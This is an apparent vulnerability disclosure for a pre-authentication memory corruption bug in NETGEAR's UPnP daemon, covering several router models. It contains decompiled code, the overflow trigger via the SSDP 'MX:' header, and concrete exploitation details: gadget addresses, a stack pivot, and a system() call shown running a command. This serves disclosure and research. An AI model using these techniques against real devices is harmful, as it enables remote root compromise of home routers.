NETGEAR Pre-Auth memory corruption in upnpd

Vulnerability Summary

A vulnerability in the way the R800P handles UPNP ssdp pakcets allows unauthenticated allows unauthenticated attackers to cause the device to overflow an internal buffer and execute arbitrary code with the privileges of the 'root' user.

This list is a list of devices affected by the vulnerability: (01/10/2021)

R6700, firmware V 1.0.2.16

R6900P, firmware V 1.3.2.126

R7000P, firmware V 1.3.2.126

R7850, firmware V 1.0.5.66

R8000, firmware V 1.0.4.66

R8000P, firmware V 1.4.1.66

RAX15, firmware V 1.0.2.66

RAX20, firmware V 1.0.2.64

RAX80, firmware V 1.0.3.106

DGN2200v4, firmware V 1.0.0.116.

Vulnerability Root Cause Analysis

A vulnerability in the way the netgear router handles incoming UPNP packets by its UPNP daemon allows remote attackers to overflow an internal buffer.

To understand the vulnerability, and the exploit described later, you need to understand the following process.

Beow picture is the point that recv input and should follow point 0x2FE68(sub_2FE68)

```
v25 = recvfrom(dword_DA9A0, packet, 0x1FFFu, 0, &addr, &addr_len);
v26 = *(_DWORD *)&addr.sa_data[2];
stru_DA91C.__fds_bits[dword_DA9A0 / 32] &= ~(1 << (dword_DA9A0 % 32));
if ( v26 )
{
  if ( v25 )
  {
    inet_ntoa_b(v26, &optval);
    *((_BYTE *)&packet[0].sa_family + v25) = 0;
    if ( (acosNvramConfig_match("enable_ap_mode", "1") || acosNvramConfig_match("enable_extender_mode", "1"))
      && acosNvramConfig_match("enable_app_system", "1")
      && stristr(packet, "ssdp:discover")
      && stristr(packet, "urn:netgear-com:device:NetworkDevice") )
    {
      sub_2FE68((const char *)packet, (int)&optval, (unsigned __int16)__rev16(*(unsigned __int16 *)addr.sa_data));
    }
    if ( acosNvramConfig_match("upnp_turn_on", "1") )
      sub_2FE68((const char *)packet, (int)&optval, (unsigned __int16)__rev16(*(unsigned __int16 *)addr.sa_data));
```

```
32  memset(copy_pakcet, 0, 0x5DCu);
33  v30 = ' ';
34  sub_14E94(3, "%s(%d):\n", "ssdp_http_method_check", 203);
35  if ( dword_9716C == 1 )
36    return 0;
37  v31 = copy_pakcet;
38  strncpy(copy_pakcet, packet, 0x5DBu);
```

In sub_2FE68, it will be copy packet through strncpy() function. This is one of the important elements of later exploits.

```
67      v10 = stristr(packet, "MAN:");
68      if ( !v10 )
69        return -7;
70      if ( !stristr(v10, "\"ssdp:discover\"") )
71        return -7;
72      v11 = sub_2E5C4(packet);
```

Then, through several checks, it checks if there is a string like MAN, ssdp:discover in the packet, if there are, and branches to pointer 0x2E5C4(sub_2E5C4).

```
11  memset(s, 0, sizeof(s));
12  v2 = stristr(a1, "MX:");
13  v3 = v2;
14  if ( v2 )
15  {
16    v4 = stristr(v2, "\r\n");
17    if ( v4 )
18    {
19      if ( v4 <= v3 + 3 )
20      {
21        sub_14E94(2, "No MX error1 !!\n");
22        result = 0;
23      }
24      else
25      {
26        strncpy(&v6, (v3 + 3), v4 - (v3 + 3));
```

And in sub_2E5C4, there is vulnerability for the following reasons.

1. Locate the MX: string in the packet via the stristr function.
2. Then find the ₩r₩n string.
3. And by this difference, n(3rd argument of strncpy function) of the strncpy function is determined.

So, if there is 0x1000 string between MX and ₩r₩n, pc register will be overwritten.

By correctly crafting the data, we obtain control over the PC value:

```
Program received signal SIGSEGV, Segmentation fault.
0x41414140 in ?? ()
```

Exploit details

One problem must be solved for the exploit. That is, the stristr function does not allow null bytes. So, attacker cannot use gadgets in the text area like 0x0020000.

To solve this, I used bx lr in the vectors area:

```
(gdb) x/16xi 0xffff0f90
   0xffff0f90:  bx      lr
```

This is because the moment the pc register is covered, the lr register points to the next pointer:

```
(gdb) x/3xi $lr
   0x2e668:     mov     r0, #0
   0x2e66c:     add     sp, sp, #128    ; 0x80
   0x2e670:     pop     {r4, r5, r6, pc}
```

And will put 0xffff0f90 in 0x80 + 12 to adjust the stack again:

```
(gdb) x/xw $sp + 0x80 + 12
0xffdf343c:     0xffff0f90
```

The basic idea of this exploit is to solve the null issue using the "add sp, sp #128" instruction with the jumping copy_packet stack(in sub_2FE68, packets are stored trough strncpy() on the stack.).

And finally, overwrite the pc register with 0x0002C528(mov, r0, sp, bl system) and execute the system command:

```
(gdb) x/xi $pc
=> 0x2c52c:     bl      0x132a8 <system@plt>
(gdb) x/xs $r0
0xff9586a0:     "id >> /tmp/result"
```

```
# cat /tmp/result
uid=0(nobody) gid=0(nobody) groups=0(nobody)
```